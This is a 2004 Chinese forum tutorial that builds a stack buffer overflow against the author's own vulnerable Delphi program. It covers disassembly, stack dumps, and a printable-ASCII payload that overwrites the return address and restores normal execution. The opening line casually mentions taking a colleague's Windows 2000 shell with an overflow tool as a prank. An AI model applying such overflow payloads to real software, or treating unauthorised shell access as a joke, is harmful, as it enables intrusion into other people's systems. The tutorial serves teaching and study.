-
-
一次溢出之旅
-
发表于:
2004-11-12 09:56
12881
-
一次溢出之旅
kongfoo/2004.11.11-12
前两天利用sqlhello溢出漏洞工具跟局域网里面的同事开了个玩笑,取得了他win2k的shell,
于是乎也想玩一下溢出。首先用Delphi写个有漏洞的程序。
如果不检查输入字串的长度,哪么输入的字串长度大于变量预定的范围就产生溢出了。
procedure TForm1.Button1Click(Sender: TObject);
var name:array[0..255]of char;
begin
strcopy(name,PChar(Edit1.Text)); //Edit1的内容是256+6个字符,最后6个字符:Hello.
end;
整个过程的代码:
0044F02C 55 PUSH EBP
0044F02D 8BEC MOV EBP,ESP
0044F02F 81C4 FCFEFFFF ADD ESP,-104
0044F035 53 PUSH EBX
0044F036 33C9 XOR ECX,ECX
0044F038 898D FCFEFFFF MOV DWORD PTR SS:[EBP-104],ECX
0044F03E 8BD8 MOV EBX,EAX
0044F040 33C0 XOR EAX,EAX
0044F042 55 PUSH EBP
0044F043 68 90F04400 PUSH Project1.0044F090
0044F048 64:FF30 PUSH DWORD PTR FS:[EAX]
0044F04B 64:8920 MOV DWORD PTR FS:[EAX],ESP
0044F04E 8D95 FCFEFFFF LEA EDX,DWORD PTR SS:[EBP-104]
0044F054 8B83 FC020000 MOV EAX,DWORD PTR DS:[EBX+2FC]
0044F05A E8 DDF3FDFF CALL Project1.0042E43C
0044F05F 8B85 FCFEFFFF MOV EAX,DWORD PTR SS:[EBP-104]
0044F065 E8 6652FBFF CALL Project1.004042D0
0044F06A 8BD0 MOV EDX,EAX
0044F06C 8D85 00FFFFFF LEA EAX,DWORD PTR SS:[EBP-100]
0044F072 E8 F590FBFF CALL Project1.0040816C ==strcopy,将Edit1的文本内容复制到局部变量name中,Delphi的局部变量就在栈中
0044F077 33C0 XOR EAX,EAX
0044F079 5A POP EDX
0044F07A 59 POP ECX
0044F07B 59 POP ECX
0044F07C 64:8910 MOV DWORD PTR FS:[EAX],EDX
0044F07F 68 97F04400 PUSH Project1.0044F097
0044F084 8D85 FCFEFFFF LEA EAX,DWORD PTR SS:[EBP-104]
0044F08A E8 814DFBFF CALL Project1.00403E10
0044F08F C3 RETN
0044F090 ^ E9 7F47FBFF JMP Project1.00403814
0044F095 ^ EB ED JMP SHORT Project1.0044F084
0044F097 5B POP EBX
0044F098 8BE5 MOV ESP,EBP
0044F09A 5D POP EBP
0044F09B C3 RETN ==过程的最后返回点
执行call 40816c(strcopy)之后,
正常栈内容:
0012F538 0012F97C Pointer to next SEH record
0012F53C 0044F090 SE handler
0012F540 0012F64C
0012F544 00953788
0012F548 00000000
0012F54C 00000000
0012F550 0068EC28
0012F554 00000001
0012F558 0000000F
0012F55C 00000004
0012F560 00000004
0012F564 00000043
0012F568 00000001
0012F56C 0110007F
0012F570 00000004
0012F574 00000014
0012F578 00000043
0012F57C 00000001
0012F580 0110007F
0012F584 00000004
0012F588 00000005
0012F58C 00000001
0012F590 0000000F
0012F594 0110007F
0012F598 00000046
0012F59C 00000005
0012F5A0 00000001
0012F5A4 0000000F
0012F5A8 0110007F
0012F5AC 00000001
0012F5B0 00000005
0012F5B4 00000011
0012F5B8 00000015
0012F5BC 00000004
0012F5C0 /0012F64C
0012F5C4 |77D19328 RETURN to user32.77D19328 from user32.77D191A4
0012F5C8 |150105FB
0012F5CC |00000043
0012F5D0 |0110007F
0012F5D4 |005A0049
0012F5D8 |00000001
0012F5DC |00000001
0012F5E0 |00000005
0012F5E4 |77D2FCC1 RETURN to user32.77D2FCC1 from user32.DrawFocusRect
0012F5E8 |150105FB
0012F5EC |0012F5FC
0012F5F0 |00000000
0012F5F4 |00145B1C
0012F5F8 |00000200
0012F5FC |00000004
0012F600 |00000004
0012F604 |00000047
0012F608 |00000015
0012F60C |00000013
0012F610 |00145B1C
0012F614 |0012000F
0012F618 |00000003
0012F61C |00000007
0012F620 |01100071
0012F624 |006733A0 UNICODE "GetName"
0012F628 |0000002D
0012F62C |00145B1C
0012F630 |00000200
0012F634 |00000003
0012F638 |00000003
0012F63C |0000002D
0012F640 |00000002
0012F644 |00403277 RETURN to Project1.00403277 from Project1.004032EC
0012F648 |004280B4 Project1.004280B4
0012F64C ]0012F78C
0012F650 |0042F9D6 RETURN to Project1.0042F9D6 ==这里是函数的正常出口
溢出后:
0012F538 0012F97C Pointer to next SEH record
0012F53C 0044F090 SE handler
0012F540 0012F64C ASCII "Hello." ==溢出了6字节
0012F544 00953788
0012F548 00952594 ASCII "111111111122222222223333333333444444444455555555556666666666777777777788888888889999999999000000000011111111112222222222333333333344444444445555555555666666666677777777778888888888999999999900000000001111111111222222222233333333334444444"...
0012F54C 31313131 ==字串开始
0012F550 31313131
0012F554 32323131
0012F558 32323232
0012F55C 32323232
0012F560 33333333
0012F564 33333333
0012F568 34343333
0012F56C 34343434
0012F570 34343434
0012F574 35353535
0012F578 35353535
0012F57C 36363535
0012F580 36363636
0012F584 36363636
0012F588 37373737
0012F58C 37373737
0012F590 38383737
0012F594 38383838
0012F598 38383838
0012F59C 39393939
0012F5A0 39393939
0012F5A4 30303939
0012F5A8 30303030
0012F5AC 30303030
0012F5B0 31313131
0012F5B4 31313131
0012F5B8 32323131
0012F5BC 32323232
0012F5C0 32323232
0012F5C4 33333333
0012F5C8 33333333
0012F5CC 34343333
0012F5D0 34343434
0012F5D4 34343434
0012F5D8 35353535
0012F5DC 35353535
0012F5E0 36363535
0012F5E4 36363636
0012F5E8 36363636
0012F5EC 37373737
0012F5F0 37373737
0012F5F4 38383737
0012F5F8 38383838
0012F5FC 38383838
0012F600 39393939
0012F604 39393939
0012F608 30303939
0012F60C 30303030
0012F610 30303030
0012F614 31313131
0012F618 31313131
0012F61C 32323131
0012F620 32323232
0012F624 32323232
0012F628 33333333
0012F62C 33333333
0012F630 34343333
0012F634 34343434
0012F638 34343434
0012F63C 35353535
0012F640 35353535
0012F644 36363535
0012F648 36363636
0012F64C 6C6C6548
0012F650 00002E6F ==溢出的内容已经覆盖了返回地址,函数将会返回到2e6f。
好了,现在我们只要把12f650的内容变成12f54c,程序就会返回到我们输入的
字符串,然后执行。我们只要精心构造一个字符串放到Edit1中,字符串就成为我们
的代码了。输入的字符串要做的工作只是恢复正常的程序流程,工作很简单,有256
个字节的空间足够了。
主要代码:
BD 8CF71230 MOV EBP,3012F78C ==代码中不能有00,因为strcopy会认为是00字符串结束,就不能形成溢出了
C1E5 08 SHL EBP,8 ==用变通的方法生成0012f78c之类的地址,另外f7,c3之类的数据在复制成ASCII
C1ED 08 SHR EBP,8 ==时会变成?,也要用变通的方法处理一下
B8 D6F94230 MOV EAX,3042F9D6
C1E0 08 SHL EAX,8
C1E8 08 SHR EAX,8
50 PUSH EAX
C3 RETN
经过一番测试之后,代码就可以写出来了。
再加上结尾的内容12f54c(让程序返回到我们的溢出代码),可是4cf512不能正常复制出ASCII出来,
只好另想办法了,实验一下12f59d(9df512)就能正常复制出ASCII,哪么我们在12f59d的位置上再放几行
代码转到12f54c就OK了(当然也可以直接在12f59d恢复EBP和返回程序流程,个人喜好)。
0012F54C 8040 32 80 ADD BYTE PTR DS:[EAX+32],80 ==变通处理mov ebp,3012f78c中的f7,程序执行到这里时EAX=12f548
0012F550 8040 47 60 ADD BYTE PTR DS:[EAX+47],60 ==变通处理retn
0012F554 41 INC ECX ==相当于NOP,ASCII 'A'
0012F555 41 INC ECX
0012F556 41 INC ECX
0012F557 41 INC ECX
0012F558 41 INC ECX
0012F559 41 INC ECX
0012F55A 41 INC ECX
0012F55B 41 INC ECX
0012F55C 41 INC ECX
0012F55D 41 INC ECX
0012F55E 41 INC ECX
0012F55F 41 INC ECX
0012F560 41 INC ECX
0012F561 41 INC ECX
0012F562 41 INC ECX
0012F563 41 INC ECX
0012F564 41 INC ECX
0012F565 41 INC ECX
0012F566 41 INC ECX
0012F567 41 INC ECX
0012F568 41 INC ECX
0012F569 41 INC ECX
0012F56A 41 INC ECX
0012F56B 41 INC ECX
0012F56C 41 INC ECX
0012F56D 41 INC ECX
0012F56E 41 INC ECX
0012F56F 41 INC ECX
0012F570 41 INC ECX
0012F571 41 INC ECX
0012F572 41 INC ECX
0012F573 41 INC ECX
0012F574 41 INC ECX
0012F575 41 INC ECX
0012F576 41 INC ECX
0012F577 41 INC ECX
0012F578 BD 8C771230 MOV EBP,3012778C ==77将被改成f7
0012F57D C1E5 08 SHL EBP,8
0012F580 C1ED 08 SHR EBP,8 ==mov ebp,12f78c 恢复ebp
0012F583 B8 D6F94230 MOV EAX,3042F9D6
0012F588 C1E0 08 SHL EAX,8
0012F58B C1E8 08 SHR EAX,8
0012F58E 50 PUSH EAX ==让程序返回到42f9d6
0012F58F 6337 ARPL WORD PTR DS:[EDI],SI ==这里将被上面的代码改成retn
0012F591 41 INC ECX
0012F592 41 INC ECX
0012F593 41 INC ECX
0012F594 41 INC ECX
0012F595 41 INC ECX
0012F596 41 INC ECX
0012F597 41 INC ECX
0012F598 41 INC ECX
0012F599 41 INC ECX
0012F59A 41 INC ECX
0012F59B 41 INC ECX
0012F59C 41 INC ECX
0012F59D 8040 62 80 ADD BYTE PTR DS:[EAX+62],80 ==溢出代码入口,先恢复下面的指令
0012F5A1 66:8140 6B A080 ADD WORD PTR DS:[EAX+6B],80A0
0012F5A7 41 INC ECX
0012F5A8 B9 4C751230 MOV ECX,3012754C ==mov ecx,3012f54c
0012F5AD C1E1 08 SHL ECX,8
0012F5B0 C1E9 08 SHR ECX,8 ==ecx=12f54c
0012F5B3 5F POP EDI ==恢复后:jmp ecx
0012F5B4 61 POPAD
二进制值(方便我测试用的)
80 40 32 80 80 40 47 60 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 BD 8C 77 12 30 C1 E5 08 C1 ED 08 B8 D6 F9 42 30 C1 E0 08 C1
E8 08 50 63 37 41 41 41 41 41 41 41 41 41 41 41 41 80 40 62 80 66 81 40 6B A0 80 41 B9 4C 75 12
30 C1 E1 08 C1 E9 08 5F 61
ASCII码
0012F548 80 40 32 80 80 40 47 60 41 41 41 41 ?2?@G`AAAA
0012F558 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012F568 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012F578 BD 8C 77 12 30 C1 E5 08 C1 ED 08 B8 D6 F9 42 30 ?w0铃另钢?0
0012F588 C1 E0 08 C1 E8 08 50 63 37 41 41 41 41 41 41 41 拎凌Pc7AAAAAAA
0012F598 41 41 41 41 41 80 40 62 80 66 81 40 6B A0 80 41 AAAAA?b??k_?
0012F5A8 B9 4C 75 12 30 C1 E1 08 C1 E9 08 5F 61 固u0玲灵_a
好了,我们要输入的字符串出来了(105+151+4+3):
?2?@G`AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?w0铃另钢?0拎凌Pc7AAAAAAAAAAAA?b??k_?固u0玲灵_a11111111112222222222333333333344444444445555555555666666666677777777778888888888999999999900000000001111111111222222222233333333334444444444555555555566666?
把这个长度为263个字符的串复制到Edit1中,按下按钮,没有弹出出错框,
我们成功进行了一次溢出之旅:)
后记:因为只是在Edit1中输入字串,只能用可以显示出来的字串,所以整个
过程复杂了许多,而在真正的溢出漏洞通常都是直接向某个函数或进程发送数据
产生溢出,只需考虑串中没有00就可以,方便直接很多。这篇贴子只能算是用来
介绍溢出机制(这种是栈溢出,还有几种溢出类型,网上介绍很多),执行了的
我们的代码都是简简单单的,要做到溢出后取得shell等等工作还不是我这菜鸟可
以的。:)
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)